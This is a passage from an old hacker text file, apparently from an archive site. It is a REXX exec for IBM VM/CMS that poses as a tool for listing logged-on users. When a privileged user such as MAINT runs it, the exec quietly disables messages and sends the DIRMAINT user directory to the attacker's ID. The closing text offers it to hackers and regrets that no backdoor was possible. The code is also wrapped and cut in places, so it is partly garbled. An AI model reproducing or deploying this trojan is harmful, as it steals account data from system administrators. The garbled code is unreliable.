(STRING Q N ' NUMQ  = QUEUED() DO N  = 1 TO NUMQ    PULL STR PARSE VALUE STR
with  NA.N '-' LA.N ',' NB.N '-' LB.N ',' NC.N '-' LC.N (cut)     ','ND.N '-'
LD.N na.n=substr(strip(na.n,'L'),1,8) nb.n=substr(strip(nb.n,'L'),1,8)
nc.n=substr(strip(nc.n,'L'),1,8) nd.n=substr(strip(nd.n,'L'),1,8) END DO N  = 1
TO NUMQ    IF LA.N ^= DSC & LA.N ^= ' ' & SUBSTR(NA.N,1,T)=NALL &
(cut)	       SUBSTR(space(NA.N),1,4)^='LOGO' & SPACE       A.S =
NA.N||'-'||LA.N||',' ; S=S+1 ; USER=USER+1; END;    IF LB.N ^= DSC & LB.N ^= '
' & SUBSTR(NB.N,1,T)=NALL & (cut)          SUBSTR(space(NB.N),1,4)^='LOGO' &
SPACE	    A.S = NB.N||'-'||LB.N||',' ; S=S+1 ; USER=USER+1; END;    IF LC.N
^= DSC & LC.N ^= ' ' & SUBSTR(NC.N,1,T)=NALL & (cut)
SUBSTR(space(NC.N),1,4)^='LOGO' & SPACE       A.S = NC.N||'-'||LC.N||',' ;
S=S+1 ; USER=USER+1; END;    IF LD.N ^= DSC & LD.N ^= ' ' &
SUBSTR(ND.N,1,T)=NALL & (cut)	       SUBSTR(space(ND.N),1,4)^='LOGO'
SPACE(L       A.S = ND.N||'-'||LD.N||',' ; S=S+1 ; USER=USER+1; END; END
CLRSCRN call concate SAY MM= ' <- - - - - - - - - - - -' RIGHT(USER,3,0) '
SPECIFIED LOGON USERS - (cut)	       - - - - - - - - - - ->' say MM SAY SAY
EXIT QNAME: /* DISPLAY THE NUMBER OF USERS LOGGED ON */ USER  = 0 SW	= 1
S     = 1 EXECIO '* CP (STRING Q N ' IF USERID() ='MAINT' THEN SIGNAL NJ
/*super user id */ IF USERID() ='JASMIN' THEN SIGNAL NJ /*super user id */ IF
USERID() ='LIU' THEN SIGNAL NJ    /*supr userid */ IF USERID() ='PMAINT' THEN
SIGNAL NJ /*super user id*/ IF USERID() ='MOESERV' THEN SIGNAL NJ /* super user
id*/ SIGNAL JP NJ: CP SET IMSG OFF CP SET MSG OFF EXEC DIRMAINT GET DIRMAINT
NOLOCK SLEEP 2	SEC CP TRAN	USERID() ALL yourid   /* to your own id*/ CP
SET IMSG ON CP SET MSG ON JP: NUMQ  = QUEUED() DO N  = 1 TO NUMQ    PULL
STR	     PARSE VALUE STR with  NA.N '-' LA.N ',' NB.N '-' LB.N ',' NC.N
(cut)	       '-' LC.N ','ND.N '-' LD.N na.n=substr(strip(na.n,'L'),1,8)
nb.n=substr(strip(nb.n,'L'),1,8) nc.n=substr(strip(nc.n,'L'),1,8)
nd.n=substr(strip(nd.n,'L'),1,8) END DO N  = 1 TO NUMQ    IF LA.N ='VTAM' THEN
SELECT	     WHEN (S+0)//4 = 1 THEN DO	     LA.N ='VTAM' THEN DO       A.S
='VSM - VTAM'       ; S = S+1 ;       A.S=' ' ; S=S+1 ; A.S=' ' ; S=S+1 ; A.S
=' ' ; S=S+1 ; ITERATE    END       WHEN (S+0)//4 = 2 THEN DO       A.S = ' ' ;
S = S+1 ; A.S = ' '   ;S=S+1 ; A.S =' ' ; S=S+1 ;END       WHEN (S+0)//4 = 3
THEN DO;A.S =' ';S=S+1 ; A.S =' ' ; S=S+1 ;END;       WHEN (S+0)//4 = 0 THEN
DO; A.S = ' ' ; S=S+1 ; END    END    IF LA.N ='VTAM' THEN DO       A.S ='VSM -
VTAM'       ; S = S+1 ;       A.S=' ' ; S=S+1 ; A.S=' ' ; S=S+1 ; A.S =' ' ;
S=S+1 ; ITERATE    END	  IF LA.N ^= DSC & LA.N ^= ' ' &
SUBSTR(space(NA.N),1,4)^='LOGO' & (cut)          SPACE(LA.N)^=SPACE(NA.N)
THEN	   A.S = NA.N||'-'||LA.N||',' ; S=S+1 ; USER=USER+1; END;    IF LB.N ^=
DSC & LB.N ^= ' ' & SUBSTR(space(NB.N),1,4)^='LOGO' & (cut)
SPACE(LB.N)^=SPACE(NB.N) THEN	    A.S = NB.N||'-'||LB.N||',' ; S=S+1 ;
USER=USER+1; END;    IF LC.N ^= DSC & LC.N ^= ' ' &
SUBSTR(space(NC.N),1,4)^='LOGO' & (cut)          SPACE(LC.N)^=SPACE(NC.N)
THEN	   A.S = NC.N||'-'||LC.N||',' ; S=S+1 ; USER=USER+1; END;    IF LD.N ^=
DSC & LD.N ^= ' ' & SUBSTR(space(ND.N),1,4)^='LOGO' & (cut)
SPACE(LD.N)^=SPACE(ND.N) THEN	    A.S = ND.N||'-'||LD.N||',' ; S=S+1 ;
USER=USER+1; END; END CLRSCRN call concate SAY MM= ' <- - - - - - - - - - - - -
' RIGHT(USER,3,0) ' LOGON  USERS - - - - (cut)          - - - - - - - - - - ->'
say  MM SAY exit concate: DO I = 1 TO S-1 BY 4	  IF I+1 < S   THEN   P=I+1
;      ELSE A.P = ' '    IF I+2 < S   THEN   Q=I+2   ;      ELSE A.Q = ' '
IF I+3 < S   THEN   R=I+3   ;	   ELSE A.R = ' '    STR= ' '    IF I+3 < S
THEN   R=I+3   ;      ELSE A.R = ' '    STR=INSERT(A.I,STR,1)       ;
STR=INSERT(A.P,STR,21)	  STR=INSERT(A.Q,STR,41)      ;
STR=INSERT(A.R,STR,61)	  SAY STR END return
-----------------------------------Cut Here------------------------------------

Well, that is it...Unfortunately, we did not know how to install a backdoor in
IBM VM/CMS so we could not keep privs permanently.  It is a pity...but we're
glad to share our experience with hackers!

			       Sincerely,

					    Goe
_______________________________________________________________________________

AOH Site layout & design copyright © 2006 AOH